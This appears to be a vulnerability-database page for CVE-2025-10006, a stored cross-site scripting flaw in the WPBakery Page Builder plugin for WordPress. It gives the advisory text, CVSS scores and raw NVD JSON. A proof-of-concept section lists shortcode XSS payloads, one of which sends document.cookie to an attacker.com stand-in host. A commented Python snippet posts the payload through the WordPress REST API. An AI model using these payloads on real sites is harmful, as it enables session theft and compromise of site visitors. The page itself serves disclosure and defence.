Security Vulnerability Report
中文
CVE-2025-10006 CVSS 6.4 MEDIUM

CVE-2025-10006

Published: 2025-10-18 07:15:34
Last Modified: 2025-11-26 14:52:05

Description

The WPBakery Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'rev_slider_vc' shortcode in all versions up to, and including, 8.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is only exploitable when RevSlider is also installed.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:wpbakery:page_builder:*:*:*:*:*:wordpress:*:* - VULNERABLE
WPBakery Page Builder <= 8.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-10006 PoC: Stored XSS via rev_slider_vc shortcode --> <!-- Prerequisites: RevSlider plugin must be installed on the target site --> <!-- Attacker needs Contributor-level or above WordPress access --> <!-- Malicious shortcode injection in post/page content --> [rev_slider_vc alias="<img src=x onerror=alert(document.cookie)>"] <!-- Alternative payload using event handler in alias attribute --> [rev_slider_vc alias="test\"><script>alert('XSS-CVE-2025-10006')</script>"] <!-- Payload for session hijacking demonstration --> [rev_slider_vc alias="<img src=x onerror='fetch(\"http://attacker.com/steal?c=\"+document.cookie)'>"] <!-- Automated exploitation via WordPress REST API (Python example) --> # import requests # target = "http://target-wordpress-site.com" # auth = ("contributor_user", "password123") # payload = '[rev_slider_vc alias="<script>alert(1)</script>"]' # response = requests.post( # f"{target}/wp-json/wp/v2/posts", # auth=auth, # json={"title": "Test Post", "content": payload, "status": "pending"} # )

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10006", "sourceIdentifier": "[email protected]", "published": "2025-10-18T07:15:33.663", "lastModified": "2025-11-26T14:52:05.183", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WPBakery Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'rev_slider_vc' shortcode in all versions up to, and including, 8.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is only exploitable when RevSlider is also installed."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wpbakery:page_builder:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "8.7", "matchCriteriaId": "EDDF2342-1A29-40FB-845E-15F586CA1504"}]}]}], "references": [{"url": "https://kb.wpbakery.com/docs/preface/release-notes/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4d7b12e5-0de7-45f4-84e0-083818912623?source=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}